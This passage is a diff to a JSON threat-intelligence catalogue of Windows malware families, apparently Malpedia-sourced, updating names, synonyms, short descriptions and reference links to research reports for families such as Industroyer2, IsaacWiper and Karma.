Visual Basic dating back to at least 2012.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.incubator", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b03201bd-8307-4c66-915e-d8f623084abe", + "value": "Incubator" + }, { "description": "", "meta": { @@ -20928,17 +25018,23 @@ "https://en.wikipedia.org/wiki/Industroyer", "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://cert.gov.ua/article/39518", "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" ], "synonyms": [ "Crash", @@ -20949,6 +25045,31 @@ "uuid": "610d5ce7-c9c8-4fb1-94d9-69b7cb5397b6", "value": "Industroyer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2", + "https://pylos.co/2022/04/23/industroyer2-in-perspective/", + "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", + "https://blog.scadafence.com/industroyer2-attack", + "https://twitter.com/silascutler/status/1513870210398363651", + "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", + "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", + "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://cert.gov.ua/article/39518", + "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fa54359c-4a3f-45ea-a941-f2105aa27ef4", + "value": "INDUSTROYER2" + }, { "description": "", "meta": { @@ -21042,6 +25163,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", @@ -21083,6 +25205,39 @@ "uuid": "44599616-3849-4960-9379-05307287ff80", "value": "IRONHALO" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper", + "https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html", + "https://twitter.com/ESETresearch/status/1521910890072842240", + "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.brighttalk.com/webcast/15591/534324", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0324.pdf", + "https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://securityintelligence.com/posts/new-wiper-malware-used-against-ukranian-organizations/", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works" + ], + "synonyms": [ + "LASAINRAW" + ], + "type": [] + }, + "uuid": "6fb2d1bb-f8a4-4f73-9ea7-a4a9aae4f609", + "value": "IsaacWiper" + }, { "description": "2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.\r\n\r\nThe other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.\r\n\r\nThere is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.\r\n\r\nISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.\r\n\r\nIn April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.\r\n\r\nSee win.gozi for additional historical information.", "meta": { @@ -21095,10 +25250,10 @@ "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://lokalhost.pl/gozi_tree.txt", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks", "https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245", "https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", @@ -21115,6 +25270,7 @@ "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", "https://www.youtube.com/watch?v=jlc7Ahp8Iqg", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work", "https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "http://benkow.cc/DreambotSAS19.pdf", @@ -21123,10 +25279,13 @@ "https://blog.talosintelligence.com/2020/07/valak-emerges.html", "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", + "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/", - "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware", + "https://lokalhost.pl/gozi_tree.txt", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/", "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/", "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", @@ -21137,9 +25296,11 @@ "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", @@ -21154,6 +25315,8 @@ "https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", "https://redcanary.com/resources/webinars/deep-dive-process-injection/", "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", "https://www.tgsoft.it/files/report/download.asp?id=7481257469", @@ -21301,6 +25464,7 @@ "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "http://malware-traffic-analysis.net/2017/05/16/index.html", "https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/" ], "synonyms": [], @@ -21326,12 +25490,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku", - "https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf", + "https://www.brighttalk.com/webcast/7451/538775", "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/", + "https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf", "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146" ], "synonyms": [ "C3PRO-RACOON", + "EQUINOX", "KCNA Infostealer", "Reconcyc" ], @@ -21548,9 +25714,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox", "https://twitter.com/zlab_team/status/1208022180241530882", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", - "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", + "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", + "https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", + "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf", + "https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/", "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/" ], "synonyms": [], @@ -21564,9 +25732,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader", - "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.bleepingcomputer.com/news/security/malicious-microsoft-excel-add-ins-used-to-deliver-rat-malware/", + "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware", "https://www.proofpoint.com/us/blog/threat-insight/jssloader-recoded-and-reloaded", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files", + "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor" ], "synonyms": [], "type": [] @@ -21602,26 +25778,6 @@ "uuid": "a08db33d-4c37-4075-bd49-c3ab66a339db", "value": "JUMPALL" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupyter", - "https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", - "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", - "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", - "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", - "https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more", - "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", - "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", - "https://redcanary.com/blog/yellow-cockatoo/" - ], - "synonyms": [], - "type": [] - }, - "uuid": "5b834445-4437-46a6-9d4d-673ecf4bf1b9", - "value": "Jupyter Stealer" - }, { "description": "", "meta": { @@ -21640,11 +25796,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", - "https://www.secureworks.com/research/threat-profiles/iron-liberty", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + "https://www.secureworks.com/research/threat-profiles/iron-liberty" ], "synonyms": [ "Karagny" @@ -21708,13 +25865,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma", - "https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/" + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", + "https://www.youtube.com/watch?v=hgz5gZB3DxE", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware", + "https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728" ], "synonyms": [], "type": [] }, "uuid": "2667c9a6-4811-4535-95a1-3b75ba853a03", - "value": "karma" + "value": "Karma" }, { "description": "", @@ -21750,11 +25914,38 @@ "uuid": "bab92070-3589-4b7e-bf05-4f54bfefc2ca", "value": "Kazuar" }, + { + "description": "According to Karsten Hahn, a straightforward loader that runs assemblies from images.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader", + "https://twitter.com/struppigel/status/1501105224819392516" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a6f86df6-d822-4143-bdfe-149e70bcf1a0", + "value": "KazyLoader" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge", + "https://us-cert.cisa.gov/ncas/alerts/aa21-336a" + ], + "synonyms": [], + "type": [] + }, + "uuid": "77c4a0e7-7ee1-446a-bc5d-8dd596d9d5fc", + "value": "KDC Sponge" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/" ], "synonyms": [], @@ -21937,6 +26128,22 @@ "uuid": "d073b11a-a941-48b9-8e88-b59ffab9fcda", "value": "KGH_SPY" }, + { + "description": "A compact ransomware written in .NET and delivered as follow-up to Log4J exploitation, targeting Windows servers. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/", + "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "76a7c43f-73d7-4f4f-acac-1fcaa150bf72", + "value": "Khonsari" + }, { "description": "", "meta": { @@ -21965,6 +26172,20 @@ "uuid": "f2ca304f-6577-4f3a-983c-beec447a9493", "value": "Kikothac" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav", + "https://cyber.aon.com/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ad6ac685-e13f-4522-9805-644f82818347", + "value": "KillAV" + }, { "description": "", "meta": { @@ -21972,6 +26193,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk", "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/" ], @@ -22015,6 +26237,7 @@ "https://blog.prevailion.com/2019/09/autumn-aperture-report.html", "https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware", "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "https://asec.ahnlab.com/en/30532/", "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", @@ -22035,7 +26258,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf" + "https://asec.ahnlab.com/en/32572/", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf", + "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf" ], "synonyms": [], "type": [] @@ -22205,7 +26433,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni", + "https://blog.lumen.com/new-konni-campaign-targeting-russian-ministry-of-foreign-affairs/", "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/", "http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "https://blog.alyac.co.kr/2474", "http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html", @@ -22275,10 +26505,12 @@ "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/", "https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/", "https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md", + "https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless", - "https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://0xchrollo.github.io/articles/unpacking-kovter-malware/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/" ], "synonyms": [], @@ -22316,7 +26548,20 @@ "value": "KPOT Stealer" }, { - "description": "", + "description": "According to ESET, this malware family is a banking trojan and was active in Brazil until the middle of 2019. Its most noticeable characteristic was its usage of well-known cryptographic methods to encrypt strings, as opposed to the majority of Latin American banking trojans that mainly use custom encryption schemes.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.krachulka", + "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1ddcb067-e876-4eff-8bb7-e28c089d99a3", + "value": "Krachulka" + }, + { + "description": "A ransomware that was active in 2018.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken", @@ -22367,19 +26612,20 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos", "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", + "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/", "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn", "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", + "https://intel471.com/blog/privateloader-malware", "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", + "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", "https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/", - "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/", + "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", "https://twitter.com/3xp0rtblog/status/1294157781415743488", "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan" @@ -22462,7 +26708,7 @@ "value": "Kurton" }, { - "description": "", + "description": "Cofense characterizes Kutaki as a data stealer that uses old-school techniques to detect sandboxes and debugging. Kutaki however works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki", @@ -22480,13 +26726,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs", "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html", "https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", - "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/", - "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + "https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts", + "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html", + "http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html", + "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/" ], "synonyms": [], "type": [] @@ -22520,7 +26769,8 @@ "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", 